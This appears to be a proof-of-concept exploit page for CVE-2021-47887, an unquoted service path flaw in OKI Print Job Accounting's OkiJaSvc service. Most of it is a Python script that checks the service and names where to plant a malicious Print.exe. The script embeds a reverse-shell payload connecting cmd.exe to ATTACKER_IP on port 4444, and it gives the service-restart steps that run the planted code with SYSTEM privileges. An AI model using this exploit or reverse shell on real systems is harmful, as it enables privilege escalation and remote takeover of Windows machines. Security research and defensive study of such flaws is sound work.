CVE-2021-47887 | OKI Print Job Accounting OkiJaSvc服务未引用路径权限提升漏洞

#!/usr/bin/env python3 """ CVE-2021-47887 PoC - OKI Print Job Accounting Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in OkiJaSvc service. Author: Security Researcher Reference: https://www.vulncheck.com/advisories/print-job-accounting-okijasvc-unquoted-service-path """ import os import sys import subprocess import shutil def check_service_path(): """Check if OkiJaSvc service exists and get its unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'OkiJaSvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] OkiJaSvc service found") for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[+] Current path: {line.strip()}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable to be placed in the unquoted path""" # Malicious executable path (Print.exe in the intermediate directory) malicious_path = r'C:\Program Files\Okidata\Print.exe' # Create a simple reverse shell or payload # This is a placeholder - actual malicious code would go here payload = ''' import socket import subprocess import os # Simple reverse shell payload try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("ATTACKER_IP", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["cmd.exe"]) except: pass ''' print(f"[*] Malicious executable would be placed at: {malicious_path}") print("[*] When OkiJaSvc restarts, it will execute this file with SYSTEM privileges") return malicious_path def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2021-47887 - OKI Print Job Accounting Unquoted Service Path") print("=" * 60) if not check_service_path(): print("[-] OkiJaSvc service not found or not accessible") return False print("\n[*] Vulnerability: Service path contains spaces without quotes") print("[*] Vulnerable path: C:\\Program Files\\Okidata\\Print Job Accounting\\") print("[*] Windows will search for: C:\\Program.exe, C:\\Program Files\\Okidata\\Print.exe") create_malicious_executable() print("\n[*] Attack steps:") print(" 1. Create malicious executable at C:\\Program Files\\Okidata\\Print.exe") print(" 2. Wait for service restart or trigger manually: sc stop OkiJaSvc && sc start OkiJaSvc") print(" 3. Malicious code executes with SYSTEM privileges") return True if __name__ == '__main__': if os.name != 'nt': print("[-] This exploit only works on Windows systems") sys.exit(1) exploit()